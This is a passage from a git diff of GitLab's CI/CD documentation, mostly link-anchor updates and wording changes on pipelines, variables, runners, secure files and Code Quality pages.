Since we have our app up and running locally, it's time to push the codebase to our remote repository.
-Let's create [a new project](../../../user/project/working_with_projects.md#create-a-project) in GitLab named `laravel-sample`.
+Let's create [a new project](../../../user/project/index.md#create-a-project) in GitLab named `laravel-sample`.
After that, follow the command line instructions displayed on the project's homepage to initiate the repository on our machine and push the first commit.
```shell
diff --git a/doc/ci/index.md b/doc/ci/index.md
index ddc9ba5d475..63db23f8c48 100644
--- a/doc/ci/index.md
+++ b/doc/ci/index.md
@@ -35,7 +35,7 @@ read the [Introduction to CI/CD with GitLab](introduction/index.md).
Video demonstration of continuous integration with GitLab CI/CD: <a href="https://www.youtube.com/watch?v=ljth1Q5oJoo">Continuous Integration with GitLab (overview demo)</a>.
</div>
<figure class="video-container">
- <iframe src="https://www.youtube.com/embed/ljth1Q5oJoo" frameborder="0" allowfullscreen="true"> </iframe>
+ <iframe src="https://www.youtube-nocookie.com/embed/ljth1Q5oJoo" frameborder="0" allowfullscreen> </iframe>
</figure>
## Concepts
diff --git a/doc/ci/introduction/index.md b/doc/ci/introduction/index.md
index ccf7ebccb2c..e62c38fc1ec 100644
--- a/doc/ci/introduction/index.md
+++ b/doc/ci/introduction/index.md
@@ -20,15 +20,13 @@ The three primary approaches for the continuous method are:
- [Continuous Delivery](#continuous-delivery)
- [Continuous Deployment](#continuous-deployment)
-NOTE:
Out-of-the-box management systems can decrease hours spent on maintaining toolchains by 10% or more.
Watch our ["Mastering continuous software development"](https://about.gitlab.com/webcast/mastering-ci-cd/)
webcast to learn about continuous methods and how built-in GitLab CI/CD can help you simplify and scale software development.
-> - <i class="fa fa-youtube-play youtube" aria-hidden="true"></i>&nbsp;Learn how to [configure CI/CD](https://www.youtube.com/embed/opdLqwz6tcE).
-> - [Make the case for CI/CD in your organization](https://about.gitlab.com/devops-tools/github-vs-gitlab/).
-> - <i class="fa fa-youtube-play youtube" aria-hidden="true"></i>&nbsp;Learn how [Verizon reduced rebuilds](https://about.gitlab.com/blog/2019/02/14/verizon-customer-story/)
-> from 30 days to under 8 hours with GitLab.
+- <i class="fa fa-youtube-play youtube" aria-hidden="true"></i>Learn how to: [configure CI/CD](https://www.youtube.com/watch?v=opdLqwz6tcE).
+- [Make the case for CI/CD in your organization](https://about.gitlab.com/devops-tools/github-vs-gitlab/).
+- Learn how [Verizon reduced rebuilds](https://about.gitlab.com/blog/2019/02/14/verizon-customer-story/) from 30 days to under 8 hours with GitLab.
## Continuous Integration
diff --git a/doc/ci/jobs/ci_job_token.md b/doc/ci/jobs/ci_job_token.md
index d95451a67dc..4ae4456c56c 100644
--- a/doc/ci/jobs/ci_job_token.md
+++ b/doc/ci/jobs/ci_job_token.md
@@ -14,7 +14,7 @@ You can use a GitLab CI/CD job token to authenticate with specific API endpoints
- Packages:
- [Package Registry](../../user/packages/package_registry/index.md#use-gitlab-cicd-to-build-packages).
- [Packages API](../../api/packages.md) (project-level).
- - [Container Registry](../../user/packages/container_registry/index.md#build-and-push-by-using-gitlab-cicd)
+ - [Container Registry](../../user/packages/container_registry/build_and_push_images.md#use-gitlab-cicd)
(the `$CI_REGISTRY_PASSWORD` is `$CI_JOB_TOKEN`).
- [Container Registry API](../../api/container_registry.md)
(scoped to the job's project, when the `ci_job_token_scope` feature flag is enabled).
diff --git a/doc/ci/jobs/index.md b/doc/ci/jobs/index.md
index 15ec92a896e..753a755cbf3 100644
--- a/doc/ci/jobs/index.md
+++ b/doc/ci/jobs/index.md
@@ -114,8 +114,10 @@ You can't use these keywords as job names:
Job names must be 255 characters or fewer.
-Use unique names for your jobs. If multiple jobs have the same name,
+Use unique names for your jobs. If multiple jobs have the same name in a file,
only one is added to the pipeline, and it's difficult to predict which one is chosen.
+If the same job name is used in one or more included files,
+[parameters are merged](../yaml/includes.md#override-included-configuration-values).
## Group jobs in a pipeline
@@ -267,10 +269,10 @@ You can do this from the job page of the manual job you want to run with
additional variables. To access this page, select the **name** of the manual job in
the pipeline view, *not* the play (**{play}**) button.
-This is useful when you want to alter the execution of a job that uses
-[custom CI/CD variables](../variables/index.md#custom-cicd-variables).
-Add a variable name (key) and value here to override the value defined in
-[the UI or `.gitlab-ci.yml`](../variables/index.md#custom-cicd-variables),
+Define CI/CD variables here when you want to alter the execution of a job that uses
+[CI/CD variables](../variables/index.md).
+Add a variable name (key) and value to [override the value](../variables/index.md#override-a-defined-cicd-variable)
+defined in the UI or `.gitlab-ci.yml`
for a single run of the manual job.
![Manual job variables](img/manual_job_variables_v13_10.png)
diff --git a/doc/ci/jobs/job_control.md b/doc/ci/jobs/job_control.md
index d26c698af89..3cd57ff6a6a 100644
--- a/doc/ci/jobs/job_control.md
+++ b/doc/ci/jobs/job_control.md
@@ -125,7 +125,7 @@ job:
rules:
- if: $CI_COMMIT_BRANCH
changes:
- compare_to: refs/heads/main
+ compare_to: 'refs/heads/main'
paths:
- '*'
```
@@ -315,7 +315,7 @@ Other commonly used variables for `if` clauses:
- `if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH && $CI_COMMIT_TITLE =~ /Merge branch.*/`:
If the commit branch is the default branch and the commit message title matches a regular expression.
For example, the default commit message for a merge commit starts with `Merge branch`.
-- `if: $CUSTOM_VARIABLE !~ /regex-expression/`: If the [custom variable](../variables/index.md#custom-cicd-variables)
+- `if: $CUSTOM_VARIABLE !~ /regex-expression/`: If the [custom variable](../variables/index.md)
`CUSTOM_VARIABLE` does **not** match a regular expression.
- `if: $CUSTOM_VARIABLE == "value1"`: If the custom variable `CUSTOM_VARIABLE` is
exactly `value1`.
@@ -754,7 +754,6 @@ deploystacks:
STACK: [monitoring, backup]
- PROVIDER: [gcp, vultr]
STACK: [data]
- environment: $PROVIDER/$STACK
```
This example generates 6 parallel `deploystacks` trigger jobs, each with different values
@@ -986,8 +985,11 @@ Expressions evaluate as `true` if:
For example:
-- `$VARIABLE =~ /^content.*/`
-- `$VARIABLE_1 !~ /^content.*/`
+- `if: $VARIABLE =~ /^content.*/`
+- `if: $VARIABLE !~ /^content.*/`
+
+Single-character regular expressions, like `/./`, are not supported and
+produce an `invalid expression syntax` error.
Pattern matching is case-sensitive by default. Use the `i` flag modifier to make a
pattern case-insensitive. For example: `/pattern/i`.
diff --git a/doc/ci/migration/circleci.md b/doc/ci/migration/circleci.md
index 034c8ba5ad6..c1e9f97a169 100644
--- a/doc/ci/migration/circleci.md
+++ b/doc/ci/migration/circleci.md
@@ -268,7 +268,7 @@ test_async:
## Contexts and variables
-CircleCI provides [Contexts](https://circleci.com/docs/contexts/) to securely pass environment variables across project pipelines. In GitLab, a [Group](../../user/group/index.md) can be created to assemble related projects together. At the group level, [CI/CD variables](../variables/index.md#add-a-cicd-variable-to-a-group) can be stored outside the individual projects, and securely passed into pipelines across multiple projects.
+CircleCI provides [Contexts](https://circleci.com/docs/contexts/) to securely pass environment variables across project pipelines. In GitLab, a [Group](../../user/group/index.md) can be created to assemble related projects together. At the group level, [CI/CD variables](../variables/index.md#for-a-group) can be stored outside the individual projects, and securely passed into pipelines across multiple projects.
## Orbs
diff --git a/doc/ci/migration/jenkins.md b/doc/ci/migration/jenkins.md
index 235dd0e80ca..63e9993be90 100644
--- a/doc/ci/migration/jenkins.md
+++ b/doc/ci/migration/jenkins.md
@@ -21,7 +21,7 @@ that were able to quickly complete this migration:
1. Educate and enable your developers to independently perform the following steps in their projects:
1. Review the [Quick Start Guide](../quick_start/index.md) and [Pipeline Configuration Reference](../yaml/index.md).
1. Use the [Jenkins Wrapper](#jenkinsfile-wrapper) to temporarily maintain fragile Jenkins jobs.
- 1. Migrate the build and CI jobs and configure them to show results directly in your merge requests. They can use [Auto DevOps](../../topics/autodevops/index.md) as a starting point, and [customize](../../topics/autodevops/customize.md) or [decompose](../../topics/autodevops/customize.md#using-components-of-auto-devops) the configuration as needed.
+ 1. Migrate the build and CI jobs and configure them to show results directly in your merge requests. They can use [Auto DevOps](../../topics/autodevops/index.md) as a starting point, and [customize](../../topics/autodevops/customize.md) or [decompose](../../topics/autodevops/customize.md#use-individual-components-of-auto-devops) the configuration as needed.
1. Add [Review Apps](../review_apps/index.md).
1. Migrate the deployment jobs using [cloud deployment templates](../cloud_deployment/index.md), adding [environments](../environments/index.md), and [deploy boards](../../user/project/deploy_boards.md).
1. Work to unwrap any jobs still running with the use of the Jenkins wrapper.
@@ -308,7 +308,7 @@ my_job:
In GitLab, we use the [`variables` keyword](../yaml/index.md#variables) to define different variables at runtime.
These can also be set up through the GitLab UI, under CI/CD settings. See also our [general documentation on variables](../variables/index.md),
-including the section on [protected variables](../variables/index.md#protected-cicd-variables). This can be used
+including the section on [protected variables](../variables/index.md#protect-a-cicd-variable). This can be used
to limit access to certain variables to certain environments or runners:
```yaml
diff --git a/doc/ci/pipelines/cicd_minutes.md b/doc/ci/pipelines/cicd_minutes.md
index d9ad224ab95..e69c510291d 100644
--- a/doc/ci/pipelines/cicd_minutes.md
+++ b/doc/ci/pipelines/cicd_minutes.md
@@ -216,9 +216,10 @@ The cost factors on self-managed instances are:
#### Cost factor for community contributions to GitLab projects
-Community contributors can use up to 300,000 minutes on shared runners when
-contributing to open source projects maintained by GitLab. The 300,000
-minutes applies to all SaaS tiers, and the cost factor calculation is:
+Community contributors can use up to 300,000 minutes on shared runners when contributing to open source projects
+maintained by GitLab. The maximum of 300,000 minutes would only be possible if contributing exclusively to projects [part of the GitLab product](https://about.gitlab.com/handbook/engineering/metrics/#projects-that-are-part-of-the-product). The total number of minutes available on shared runners
+is reduced by the CI/CD minutes used by pipelines from other projects.
+The 300,000 minutes applies to all SaaS tiers, and the cost factor calculation is:
- `Monthly minute quota / 300,000 job duration minutes = Cost factor`
@@ -255,9 +256,9 @@ calculations start again from `0`.
For example, if you have a monthly quota of `10,000` CI/CD minutes:
-- On **1st April**, you have `10,000` minutes.
+- On **April 1**, you have `10,000` minutes.
- During April, you use only `6,000` of the `10,000` minutes.
-- On **1st May**, the accumulated usage of minutes resets to `0`, and you have `10,000` minutes to use again
+- On **May 1**, the accumulated usage of minutes resets to `0`, and you have `10,000` minutes to use again
during May.
Usage data for the previous month is kept to show historical view of the consumption over time.
@@ -269,9 +270,9 @@ the next month.
For example:
-- On **1st April**, you purchase `5,000` additional CI/CD minutes.
+- On **April 1**, you purchase `5,000` additional CI/CD minutes.
- During April, you use only `3,000` of the `5,000` additional minutes.
-- On **1st May**, the unused minute roll over, so you have `2,000` additional minutes available for May.
+- On **May 1**, the unused minute roll over, so you have `2,000` additional minutes available for May.
Additional CI/CD minutes are a one-time purchase and do not renew or refresh each month.
diff --git a/doc/ci/pipelines/downstream_pipelines.md b/doc/ci/pipelines/downstream_pipelines.md
index 6c17c23552d..1ada4c4fac1 100644
--- a/doc/ci/pipelines/downstream_pipelines.md
+++ b/doc/ci/pipelines/downstream_pipelines.md
@@ -244,21 +244,25 @@ To trigger a child pipeline as a [merge request pipeline](merge_request_pipeline
```
1. Configure the child pipeline jobs to run in merge request pipelines with [`rules`](../yaml/index.md#rules)
- or [`workflow:rules`](../yaml/index.md#workflowrules). For example, with `rules`
- in a child pipeline's configuration file:
+ or [`workflow:rules`](../yaml/index.md#workflowrules).
+ For example, with `rules` in a child pipeline's configuration file:
```yaml
job1:
- script: ...
+ script: echo "Child pipeline job 1"
rules:
- - if: $CI_PIPELINE_SOURCE == "merge_request_event"
+ - if: $CI_MERGE_REQUEST_ID
job2:
- script: ...
+ script: echo "Child pipeline job 2"
rules:
- - if: $CI_PIPELINE_SOURCE == "merge_request_event"
+ - if: $CI_MERGE_REQUEST_ID
```
+ In child pipelines, `$CI_PIPELINE_SOURCE` always has a value of `parent_pipeline`
+ and cannot be used to identify merge request pipelines. Use `$CI_MERGE_REQUEST_ID`
+ instead, which is always present in merge request pipelines.
+
### Specify a branch for multi-project pipelines
You can specify the branch to use when triggering a multi-project pipeline. GitLab uses
diff --git a/doc/ci/pipelines/index.md b/doc/ci/pipelines/index.md
index ab98bab022e..324a2fa3ef9 100644
--- a/doc/ci/pipelines/index.md
+++ b/doc/ci/pipelines/index.md
@@ -75,7 +75,7 @@ You can also configure specific aspects of your pipelines through the GitLab UI.
- [Pipeline settings](settings.md) for each project.
- [Pipeline schedules](schedules.md).
-- [Custom CI/CD variables](../variables/index.md#custom-cicd-variables).
+- [Custom CI/CD variables](../variables/index.md#for-a-project).
### Ref specs for runners
@@ -156,7 +156,7 @@ The pipeline now executes the jobs as configured.
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30101) in GitLab 13.7.
You can use the [`description` and `value`](../yaml/index.md#variablesdescription)
-keywords to define [pipeline-level (global) variables](../variables/index.md#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file)
+keywords to [define pipeline-level (global) variables](../variables/index.md#define-a-cicd-variable-in-the-gitlab-ciyml-file)
that are prefilled when running a pipeline manually. Use the description to explain
information such as what the variable is used for, and what the acceptable values are.
diff --git a/doc/ci/pipelines/job_artifacts.md b/doc/ci/pipelines/job_artifacts.md
index cc26ede5f6e..bd788cfd3eb 100644
--- a/doc/ci/pipelines/job_artifacts.md
+++ b/doc/ci/pipelines/job_artifacts.md
@@ -410,7 +410,7 @@ This message is often preceded by other errors or warnings that specify the file
generated. Check the job log for these messages.
If you find no helpful messages, retry the failed job after activating
-[CI/CD debug logging](../variables/index.md#debug-logging).
+[CI/CD debug logging](../variables/index.md#enable-debug-logging).
This logging should provide information to help you investigate further.
### Error message `Missing /usr/bin/gitlab-runner-helper. Uploading artifacts is disabled.`
diff --git a/doc/ci/pipelines/merge_request_pipelines.md b/doc/ci/pipelines/merge_request_pipelines.md
index 714e96d7954..7e18c11f234 100644
--- a/doc/ci/pipelines/merge_request_pipelines.md
+++ b/doc/ci/pipelines/merge_request_pipelines.md
@@ -20,20 +20,20 @@ Branch pipelines:
- Run when you push a new commit to a branch.
- Are the default type of pipeline.
- Have access to [some predefined variables](../variables/predefined_variables.md).
-- Have access to [protected variables](../variables/index.md#protected-cicd-variables) and [protected runners](../runners/configure_runners.md#prevent-runners-from-revealing-sensitive-information).
+- Have access to [protected variables](../variables/index.md#protect-a-cicd-variable) and [protected runners](../runners/configure_runners.md#prevent-runners-from-revealing-sensitive-information).
Merge request pipelines:
-- Run when you:
+- **Do not run by default**. The jobs in the CI/CD configuration file [must be configured](#prerequisites)
+ to run in merge request pipelines.
+- If configured, merge request pipelines run when you:
- Create a new merge request from a source branch with one or more commits.
- Push a new commit to the source branch for a merge request.
- Select **Run pipeline** from the **Pipelines** tab in a merge request. This option
is only available when merge request pipelines are configured for the pipeline
and the source branch has at least one commit.
-- Do not run by default. The jobs in the CI/CD configuration file [must be configured](#prerequisites)
- to run in merge request pipelines.
- Have access to [more predefined variables](#available-predefined-variables).
-- Do not have access to [protected variables](../variables/index.md#protected-cicd-variables) or [protected runners](../runners/configure_runners.md#prevent-runners-from-revealing-sensitive-information).
+- Do not have access to [protected variables](../variables/index.md#protect-a-cicd-variable) or [protected runners](../runners/configure_runners.md#prevent-runners-from-revealing-sensitive-information).
Both of these types of pipelines can appear on the **Pipelines** tab of a merge request.
diff --git a/doc/ci/pipelines/settings.md b/doc/ci/pipelines/settings.md
index 423ee31dec4..cd696d816d7 100644
--- a/doc/ci/pipelines/settings.md
+++ b/doc/ci/pipelines/settings.md
@@ -32,7 +32,7 @@ To change the visibility of your pipelines and related features:
When it is selected, pipelines and related features are visible:
- For [**Public**](../../user/public_access.md) projects, to everyone.
- - For **Internal** projects, to all logged-in users except [external users](../../user/admin_area/external_users.md).
+ - For **Internal** projects, to all authenticated users except [external users](../../user/admin_area/external_users.md).
- For **Private** projects, to all project members (Guest or higher).
When it is cleared:
@@ -41,7 +41,7 @@ To change the visibility of your pipelines and related features:
and the **CI/CD** menu items are visible only to project members (Reporter or higher).
Other users, including guest users, can only view the status of pipelines and jobs, and only
when viewing merge requests or commits.
- - For **Internal** projects, pipelines are visible to all logged in users except [external users](../../user/admin_area/external_users.md).
+ - For **Internal** projects, pipelines are visible to all authenticated users except [external users](../../user/admin_area/external_users.md).
Related features are visible only to project members (Reporter or higher).
- For **Private** projects, pipelines and related features are visible to project members (Reporter or higher) only.
@@ -343,6 +343,7 @@ Depending on the status of your pipeline, a badge can have the following values:
- `passed`
- `failed`
- `skipped`
+- `manual`
- `canceled`
- `unknown`
diff --git a/doc/ci/quick_start/index.md b/doc/ci/quick_start/index.md
index 8d71f4569e5..b9e0e39396c 100644
--- a/doc/ci/quick_start/index.md
+++ b/doc/ci/quick_start/index.md
@@ -138,11 +138,8 @@ For the complete `.gitlab-ci.yml` syntax, see [the full `.gitlab-ci.yml` keyword
- Use the [pipeline editor](../pipeline_editor/index.md) to edit your `.gitlab-ci.yml` file.
- Each job contains a script section and belongs to a stage:
- - The [`default`](../yaml/index.md#default) keyword is for
- custom defaults, for example with [`before_script`](../yaml/index.md#before_script)
- and [`after_script`](../yaml/index.md#after_script).
- [`stage`](../yaml/index.md#stage) describes the sequential execution of jobs.
- Jobs in a single stage run in parallel as long as there are available runners.
+ If there are runners available, jobs in a single stage run in parallel.
- Use the [`needs` keyword](../yaml/index.md#needs) to run jobs out of stage order.
This creates a [Directed Acyclic Graph (DAG)](../directed_acyclic_graph/index.md).
- You can set additional configuration to customize how your jobs and stages perform:
@@ -152,6 +149,10 @@ For the complete `.gitlab-ci.yml` syntax, see [the full `.gitlab-ci.yml` keyword
- Keep information across jobs and stages persistent in a pipeline with [`cache`](../yaml/index.md#cache)
and [`artifacts`](../yaml/index.md#artifacts). These keywords are ways to store
dependencies and job output, even when using ephemeral runners for each job.
+ - Use the [`default`](../yaml/index.md#default) keyword to specify additional
+ configurations that are applied to all jobs. This keyword is often used to define
+ [`before_script`](../yaml/index.md#before_script) and [`after_script`](../yaml/index.md#after_script)
+ sections that should run on every job.
## Related topics
diff --git a/doc/ci/runners/configure_runners.md b/doc/ci/runners/configure_runners.md
index b61e11dd8bc..28a856e3dda 100644
--- a/doc/ci/runners/configure_runners.md
+++ b/doc/ci/runners/configure_runners.md
@@ -159,7 +159,7 @@ To view the IP address of a shared runner you must have administrator access to
the GitLab instance. To determine this:
1. On the top bar, select **Main menu > Admin**.
-1. On the left sidebar, select **Overview > Runners**.
+1. On the left sidebar, select **CI/CD > Runners**.
1. Find the runner in the table and view the **IP Address** column.
![shared runner IP address](img/shared_runner_ip_address_14_5.png)
@@ -637,13 +637,12 @@ test:
- pwd
```
-The `GIT_CLONE_PATH` has to always be within `$CI_BUILDS_DIR`. The directory set in `$CI_BUILDS_DIR`
+The `GIT_CLONE_PATH` must always be within `$CI_BUILDS_DIR`. The directory set in `$CI_BUILDS_DIR`
is dependent on executor and configuration of [runners.builds_dir](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-runners-section)
setting.
This can only be used when `custom_build_dir` is enabled in the
[runner's configuration](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-runnerscustom_build_dir-section).
-This is the default configuration for the `docker` and `kubernetes` executors.
#### Handling concurrency
@@ -968,6 +967,24 @@ To determine which runners need to be upgraded:
1. Filter the list by status to view which individual runners need to be upgraded.
+## View statistics for runner performance **(ULTIMATE)**
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/377963) in GitLab 15.8.
+
+As an administrator, you can view runner statistics to learn about the performance of your runner fleet.
+
+1. Select **Main menu > Admin**.
+1. On the left sidebar, select **CI/CD > Runners**.
+1. Select **View metrics**.
+
+The **Median job queued time** value is calculated by sampling the queue duration of the
+most recent 100 jobs that were run by Instance runners. Jobs from only the latest 5000
+runners are considered.
+
+The median is a value that falls into the 50th percentile: half of the jobs
+queued for longer than the median value, and half of the jobs queued for less than the
+median value.
+
## Authentication token security
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30942) in GitLab 15.3 [with a flag](../../administration/feature_flags.md) named `enforce_runner_token_expires_at`. Disabled by default.
diff --git a/doc/ci/runners/saas/linux_saas_runner.md b/doc/ci/runners/saas/linux_saas_runner.md
index 61421f86ff5..9c380886812 100644
--- a/doc/ci/runners/saas/linux_saas_runner.md
+++ b/doc/ci/runners/saas/linux_saas_runner.md
@@ -105,7 +105,7 @@ can be used for:
- Downloading assets from a CDN
- Any other commands that must run before the `git init`
-To use this feature, define a [CI/CD variable](../../../ci/variables/index.md#custom-cicd-variables) called
+To use this feature, define a [CI/CD variable](../../../ci/variables/index.md) called
`CI_PRE_CLONE_SCRIPT` that contains a bash script.
NOTE:
diff --git a/doc/ci/secrets/index.md b/doc/ci/secrets/index.md
index bfc53210348..ba12508beeb 100644
--- a/doc/ci/secrets/index.md
+++ b/doc/ci/secrets/index.md
@@ -83,7 +83,7 @@ To configure your Vault server:
1. Configure roles on your Vault server, restricting roles to a project or namespace,
as described in [Configure Vault server roles](#configure-vault-server-roles) on this page.
-1. [Create the following CI/CD variables](../variables/index.md#custom-cicd-variables)
+1. [Create the following CI/CD variables](../variables/index.md#for-a-project)
to provide details about your Vault server:
- `VAULT_SERVER_URL` - The URL of your Vault server, such as `https://vault.example.com:8200`.
Required.
@@ -119,7 +119,7 @@ In this example:
After GitLab fetches the secret from Vault, the value is saved in a temporary file.
The path to this file is stored in a CI/CD variable named `DATABASE_PASSWORD`,
-similar to [variables of type `file`](../variables/index.md#cicd-variable-types).
+similar to [variables of type `file`](../variables/index.md#use-file-type-cicd-variables).
To overwrite the default behavior, set the `file` option explicitly:
diff --git a/doc/ci/secure_files/index.md b/doc/ci/secure_files/index.md
index e63b671ad2b..32bc4f2d758 100644
--- a/doc/ci/secure_files/index.md
+++ b/doc/ci/secure_files/index.md
@@ -7,24 +7,20 @@ type: reference
# Project-level Secure Files **(FREE)**
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/78227) in GitLab 14.8. [Deployed behind the `ci_secure_files` flag](../../administration/feature_flags.md), disabled by default.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/78227) in GitLab 14.8. [Deployed behind the `ci_secure_files` flag](../../administration/feature_flags.md), disabled by default.
+> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/350748) in GitLab 15.7.
-FLAG:
-On self-managed GitLab, by default this feature is not available. To make it available,
-ask an administrator to [enable the feature flag](../../administration/feature_flags.md)
-named `ci_secure_files`. Limited to 100 secure files per project. Files must be smaller
-than 5 MB. Project-level Secure Files is an experimental feature developed by [GitLab Incubation Engineering](https://about.gitlab.com/handbook/engineering/incubation/).
-
-Project-level Secure Files is still in development, but you can:
+Project-level Secure Files is an experimental feature developed by [GitLab Incubation Engineering](https://about.gitlab.com/handbook/engineering/incubation/).
+The feature is still in development, but you can:
- [Request a feature](https://gitlab.com/gitlab-org/incubation-engineering/mobile-devops/feedback/-/issues/new?issuable_template=feature_request).
- [Report a bug](https://gitlab.com/gitlab-org/incubation-engineering/mobile-devops/feedback/-/issues/new?issuable_template=report_bug).
- [Share feedback](https://gitlab.com/gitlab-org/incubation-engineering/mobile-devops/feedback/-/issues/new?issuable_template=general_feedback).
-You can securely store files for use in CI/CD pipelines as "secure files". These files
+You can securely store up to 100 files for use in CI/CD pipelines as "secure files". These files
are stored securely outside of your project's repository, and are not version controlled.
It is safe to store sensitive information in these files. Secure files support both
-plain text and binary file types.
+plain text and binary file types, but must be 5 MB or less.
You can manage secure files in the project settings, or with the [secure files API](../../api/secure_files.md).
diff --git a/doc/ci/services/index.md b/doc/ci/services/index.md
index beebaa6d03f..bbd2f822481 100644
--- a/doc/ci/services/index.md
+++ b/doc/ci/services/index.md
@@ -221,7 +221,7 @@ For this solution to work, you must use
You can also pass custom CI/CD [variables](../variables/index.md)
to fine tune your Docker `images` and `services` directly in the `.gitlab-ci.yml` file.
-For more information, read about [`.gitlab-ci.yml` defined variables](../variables/index.md#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file).
+For more information, read about [`.gitlab-ci.yml` defined variables](../variables/index.md#define-a-cicd-variable-in-the-gitlab-ciyml-file).
```yaml
# The following variables are automatically passed down to the Postgres container
diff --git a/doc/ci/ssh_keys/index.md b/doc/ci/ssh_keys/index.md
index 972e9494126..ed16a19c7f5 100644
--- a/doc/ci/ssh_keys/index.md
+++ b/doc/ci/ssh_keys/index.md
@@ -38,7 +38,7 @@ with any type of [executor](https://docs.gitlab.com/runner/executors/)
In the following example, the `ssh-add -` command does not display the value of
`$SSH_PRIVATE_KEY` in the job log, though it could be exposed if you enable
-[debug logging](../variables/index.md#debug-logging). You might also want to
+[debug logging](../variables/index.md#enable-debug-logging). You might also want to
check the [visibility of your pipelines](../pipelines/settings.md#change-which-users-can-view-your-pipelines).
## SSH keys when using the Docker executor
diff --git a/doc/ci/test_cases/index.md b/doc/ci/test_cases/index.md
index 8d2788539d8..4088e5e82c6 100644
--- a/doc/ci/test_cases/index.md
+++ b/doc/ci/test_cases/index.md
@@ -25,9 +25,9 @@ Prerequisite:
To create a test case in a GitLab project:
1. Go to **CI/CD > Test Cases**.
-1. Select the **New test case** button. You are taken to the new test case form. Here you can enter
+1. Select **New test case**. You are taken to the new test case form. Here you can enter
the new case's title, [description](../../user/markdown.md), attach a file, and assign [labels](../../user/project/labels.md).
-1. Select the **Submit test case** button. You are taken to view the new test case.
+1. Select **Submit test case**. You are taken to view the new test case.
## View a test case
@@ -73,7 +73,7 @@ Prerequisite:
- You must have at least the Reporter role.
-To archive a test case, on the test case's page, select the **Archive test case** button.
+To archive a test case, on the test case's page, select **Archive test case**.
To view archived test cases:
diff --git a/doc/ci/testing/code_quality.md b/doc/ci/testing/code_quality.md
index 8e1c3d72d3d..2a1dffe07fc 100644
--- a/doc/ci/testing/code_quality.md
+++ b/doc/ci/testing/code_quality.md
@@ -8,157 +8,120 @@ info: To determine the technical writer assigned to the Stage/Group associated w
> [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/212499) to GitLab Free in 13.2.
-To ensure your project's code stays simple, readable, and easy to contribute to,
-you can use [GitLab CI/CD](../index.md) to analyze your source code quality.
+Use Code Quality to analyze your source code's quality and complexity. This helps keep your
+project's code simple, readable, and easier to maintain. Code Quality should supplement your
+other review processes, not replace them.
-For example, while you're implementing a feature, you can run Code Quality reports
-to analyze how your improvements are impacting your code's quality. You can
-use this information to ensure that your changes are improving performance rather
-than degrading it.
+Code Quality uses the open source Code Climate tool, and selected
+[plugins](https://docs.codeclimate.com/docs/list-of-engines), to analyze your source code.
+To confirm if your code's languages are covered, see the Code Climate list of
+[Supported Languages for Maintainability](https://docs.codeclimate.com/docs/supported-languages-for-maintainability).
+You can extend the code coverage either by using Code Climate
+[Analysis Plugins](https://docs.codeclimate.com/docs/list-of-engines) or a
+[custom tool](#implement-a-custom-tool).
-Code Quality:
+Run Code Quality reports in your CI/CD pipeline to verify changes don't degrade your code's quality,
+_before_ committing them to the default branch.
-- Uses [plugins](https://docs.codeclimate.com/docs/list-of-engines) supported by Code Climate, which are
- free and open source. Code Quality does not require a Code Climate
- subscription.
-- Runs in [pipelines](../pipelines/index.md) by using a Docker image built in the
- [GitLab Code Quality](https://gitlab.com/gitlab-org/ci-cd/codequality) project.
-- Uses [default Code Climate configurations](https://gitlab.com/gitlab-org/ci-cd/codequality/-/tree/master/codeclimate_defaults).
-- Can make use of a [template](#example-configuration).
-- Is available by using [Auto Code Quality](../../topics/autodevops/stages.md#auto-code-quality), provided by [Auto DevOps](../../topics/autodevops/index.md).
-- Can be extended through [Analysis Plugins](https://docs.codeclimate.com/docs/list-of-engines) or a [custom tool](#implementing-a-custom-tool).
-
-## Summary of features per tier
+## Features per tier
Different features are available in different [GitLab tiers](https://about.gitlab.com/pricing/),
as shown in the following table:
-| Capability | In Free | In Premium | In Ultimate |
-|:----------------------------------------------------------------------|:--------------------|:--------------------|:-------------------|
-| [Configure scanners](#configuring-jobs-using-variables) | **{check-circle}** | **{check-circle}** | **{check-circle}** |
-| [Integrate custom scanners](#implementing-a-custom-tool) | **{check-circle}** | **{check-circle}** | **{check-circle}** |
-| [Generate JSON or HTML report artifacts](#generate-an-html-report) | **{check-circle}** | **{check-circle}** | **{check-circle}** |
-| [See findings in merge request widget](#code-quality-widget) | **{check-circle}** | **{check-circle}** | **{check-circle}** |
-| [See reports in CI pipelines](#code-quality-reports) | **{dotted-circle}** | **{check-circle}** | **{check-circle}** |
-| [See findings in merge request diff view](#code-quality-in-diff-view) | **{dotted-circle}** | **{dotted-circle}** | **{check-circle}** |
+| Capability | In Free | In Premium | In Ultimate |
+|:-----------------------------------------------------------------------|:--------------------|:--------------------|:-------------------|
+| [Configure scanners](#customizing-scan-settings) | **{check-circle}** | **{check-circle}** | **{check-circle}** |
+| [Integrate custom scanners](#implement-a-custom-tool) | **{check-circle}** | **{check-circle}** | **{check-circle}** |
+| [See findings in merge request widget](#merge-request-widget) | **{check-circle}** | **{check-circle}** | **{check-circle}** |
+| [Generate JSON or HTML report artifacts](#output) | **{check-circle}** | **{check-circle}** | **{check-circle}** |
+| [See reports in CI pipelines](#pipeline-details-view) | **{dotted-circle}** | **{check-circle}** | **{check-circle}** |
+| [See findings in merge request diff view](#merge-request-changes-view) | **{dotted-circle}** | **{dotted-circle}** | **{check-circle}** |
-## Code Quality Widget
+## View Code Quality results
-> [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/212499) to GitLab Free in 13.2.
+Code Quality results are shown in the:
-Going a step further, GitLab can show the Code Quality report right
-in the merge request widget area if a report from the target branch is available to compare to:
+- Merge request widget
+- Merge request changes view
+- Pipeline details view
-![Code Quality Widget](img/code_quality_widget_13_11.png)
+### Merge request widget
-Watch a quick walkthrough of Code Quality in action:
-
-<div class="video-fallback">
- See the video: <a href="https://www.youtube.com/watch?v=B32LxtJKo9M">Code Quality: Speed Run</a>.
-</div>
-<figure class="video-container">
